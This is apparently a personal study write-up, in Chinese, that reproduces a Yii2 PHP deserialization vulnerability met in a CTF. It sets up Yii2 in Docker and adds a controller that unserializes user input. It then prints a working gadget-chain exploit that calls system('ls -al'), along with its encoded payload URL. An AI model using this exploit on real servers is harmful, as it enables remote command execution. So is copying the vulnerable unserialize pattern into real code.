Yii2 反序列化漏洞復現
前言
- 之前紅帽杯做題時碰到的,當時沒細究,現在來本地搭建復現一下
- 原理性的內容就不多說了,本文也只是為了記錄一下我復現時候的過程,方便后面復習時用
環境搭建
- 本來想跟着網上大多數人的那種教程一樣,直接從
GitHub下載源碼,然后docker-compose up安裝,但是一直沒能成功,后續想嘗試着直接Windows上安裝,但是過程過於復雜,所以最終還是選擇直接docker安裝
docker 搭建Yii2環境
- 直接
docker searche yii2

- 我選擇的是
schmunk42/yii2-app-basic,然后直接docker pull schmunk42/yii2-app-basic拖取鏡像即可

- 啟動鏡像
docker run -d -P schmunk42/yii2-app-basic

- 訪問ip:49153,出現以下界面即搭建完成

漏洞復現
創建一個存在漏洞的Action:/controllers/TestController.php
- 代碼如下:
<?php
namespace app\controllers;
use Yii;
use yii\web\Controller;
class TestController extends Controller
{
public function actionTest(){
$name = Yii::$app->request->get('unserialize');
return unserialize(base64_decode($name));
}
}

- 利用網上給出的
exp進行復現執行系統命令
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'system';
$this->id = 'ls -al';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
$this->formatters['close'] = [new CreateAction, 'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>
- 利用在線
php代碼執行平台運行生成payload
/index.php?r=test/test&unserialize=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6Njoic3lzdGVtIjtzOjI6ImlkIjtzOjY6ImxzIC1hbCI7fWk6MTtzOjM6InJ1biI7fX19fQ

參考鏈接
https://xz.aliyun.com/t/8307?page=5https://anquan.baidu.com/article/1260
